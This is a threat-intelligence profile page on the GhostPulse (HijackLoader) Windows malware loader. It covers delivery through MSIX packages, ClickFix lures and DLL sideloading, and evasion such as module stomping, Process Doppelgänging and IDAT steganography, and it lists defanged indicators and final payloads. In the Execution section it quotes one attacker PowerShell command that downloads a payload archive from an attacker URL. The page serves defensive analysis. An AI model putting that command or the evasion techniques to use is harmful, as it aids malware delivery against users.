GHOSTPULSE
GhostPulse is a multi-stage Windows malware loader, also referred to in the provided content as HijackLoader and IDATLoader, used to decrypt, stage, and inject follow-on payloads while evading detection. It has been observed since at least 2023 and has undergone continuous updates. Reported delivery vectors include signed malicious MSIX packages masquerading as legitimate software installers, ClickFix fake CAPTCHA/social-engineering chains that trick users into executing PowerShell, trojanized MSI installers, DLL sideloading via swapped application DLLs, and broader malvertising, SEO poisoning, compromised websites, and phishing campaigns. The content also notes activity consistent with FakeBat operations distributing GhostPulse.
Across the reporting, GhostPulse commonly uses staged PowerShell downloaders, encrypted container files, and DLL sideloading to launch its first stage. Observed chains include abuse of signed or legitimate binaries such as a renamed Notepad++ updater binary vulnerable to DLL sideloading, Zoner Photo Studio Autoupdate (VoTransmitt.exe), and iMyFone Feedback (Utils.exe) with trojanized DLLs such as libcurl.dll, sciter32.dll, and Qt5Network.dll. GhostPulse has been documented extracting encrypted payload data from files containing repeated PNG IDAT chunks, including handoff.wav, Heeschamjet.rc, Crock.elf, and cachedrv.xml. Multiple reports emphasize that newer variants may parse headerless IDAT chunks without valid PNG headers, rather than relying on conventional PNG steganography.
Documented evasion and execution techniques include custom import resolution, parsing the PEB to locate modules, XOR decryption and decompression of embedded blobs, module stomping by writing shellcode into loaded DLL .text sections, direct NT API invocation to evade userland hooks, environment-variable-based handoff between stages, persistence via .lnk creation, WOW64 and heaven’s gate usage, and Process Doppelgänging with NTFS transactions to launch final payloads. One ClickFix-related variant stored configuration in an encrypted file and optionally delayed execution when certain running processes were detected. Another observed chain used an intermediate .NET loader that patched AMSI, decrypted a payload from its .tls section, loaded the CLR, and reflectively loaded ARECHCLIENT2.
GhostPulse is associated in the content with financially motivated malware delivery activity rather than a single exclusive actor. Reporting links its use to campaigns overlapping with FakeBat and Microsoft-tracked Storm-1113, and it appears in ShadowLadder-related delivery chains. It has been used to deploy a range of final payloads including SectopRAT/ARECHCLIENT2, Rhadamanthys, Vidar, Lumma, NetSupport, RedLine, and DeerStealer. Targeting described in the source material is broad and opportunistic, affecting Windows users across multiple industries through fake software installers, browser-update lures, piracy-themed lures, and compromised websites.
High-confidence indicators mentioned in the content include C2 or related infrastructure observed in GhostPulse-linked chains: 195.201.198[.]179:15647 for a SectopRAT payload delivered by GhostPulse; 185.156.72[.]80:15847 in activity previously associated with the GhostPulse loader; and ClickFix/GhostPulse-related infrastructure including 50.57.243[.]90, clients.dealeronlinemarketing[.]com/captcha/, clients.contology[.]com/captcha/, koonenmagaziner[.]click, shorter[.]me/XOWyT, bitly[.]cx/iddD, and Pastebin raw content used to retrieve secondary C2 information. File artifacts specifically tied to GhostPulse delivery in the content include handoff.wav, Shonomteak.bxi, Heeschamjet.rc, Crock.elf, cachedrv.xml, and servicetable68.cfg.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Techniques & procedures
29 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
2 techniques
Resource Development
Initial Access
3 techniques
Initial Access
In a common attack scenario, we suspect the users are directed to download malicious MSIX packages through compromised websites, search-engine optimization (SEO) techniques, or malvertising.
Execution
7 techniques
Execution
The malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a 32-bit cmd.exe in this case.
However, a PowerShell script is covertly used to download, decrypt, and execute GHOSTPULSE on the system.
When the malware necessitates the execution of an NT API, it adds the API offset to the base address of ntdll.dll and directly invokes the API.
This social engineering technique tricks users into copying and pasting malicious PowerShell that results in malware execution.
When executed, it fetches the following PowerShell script: Invoke-WebRequest -Uri "https://bitly[.]cx/iddD" -OutFile "$env:TEMP\ComponentStyle.zip"
Persistence
2 techniques
Persistence
Privilege Escalation
6 techniques
Privilege Escalation
The legitimate mshtml.dll code is overwritten with the WriteProcessMemory API. The primary thread’s execution is then redirected to the malicious code in mshtml.dll with the Wow64SetThreadContext API.
The primary thread’s execution is then redirected to the malicious code in mshtml.dll with the Wow64SetThreadContext API.
Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the .text section of the freshly loaded DLL and then executed. This technique is known as 'module stomping'.
GHOSTPULSE employs Process Doppelgänging, leveraging the NTFS transactions feature to inject the final payload into a new child process.
Stealth
11 techniques
Stealth
The campaign leverages a stealthy loader we call GHOSTPULSE which decrypts and injects its final payload to evade detection... By minimizing the on-disk footprint of encrypted malicious code, the threat actor is able to evade file-based AV and ML scanning.
Defense Evasion Steganography T1027.003 Payload hidden in PNG IDAT chunk data stream
This is done to evade userland hooks set by security products.
Defense Evasion Masquerading T1036.005 Legitimate iMyFone binary with valid (expired) EV cert
The legitimate mshtml.dll code is overwritten with the WriteProcessMemory API. The primary thread’s execution is then redirected to the malicious code in mshtml.dll with the Wow64SetThreadContext API.
The primary thread’s execution is then redirected to the malicious code in mshtml.dll with the Wow64SetThreadContext API.
Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the .text section of the freshly loaded DLL and then executed. This technique is known as 'module stomping'.
GHOSTPULSE employs Process Doppelgänging, leveraging the NTFS transactions feature to inject the final payload into a new child process.
Discovery
3 techniques
Discovery
When the boolean field b_detect_process is set to True, the malware executes a function that checks for a list of processes to see if they are running.
IOCs tracked for this family
37 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
12 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Loader delivered through a trojanized Qt5Network.dll via DLL sideloading. It activates in DllMain, reads encrypted payload and config files, parses IDAT chunk data from a fake XML container, extracts the XOR key from the config, decrypts the payload, and injects DeerStealer into memory. The sample uses headerless PNG IDAT chunk framing rather than a valid PNG image.
Payload concealment and delivery technique/tool using PNG IDAT chunk structure to hide custom-encrypted shellcode. In this chain it is used to store and deliver the encrypted payload processed by HijackLoader.
With the release of v0.16, here are the different malware families that we cover. blister deprecated ghostpulse latrodectus lobshot lumma netwire redlinestealer remcos smokeloader stealc strelastealer xorddos
Payload delivered through malicious MSIX packages in activity aligned with FakeBat techniques.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.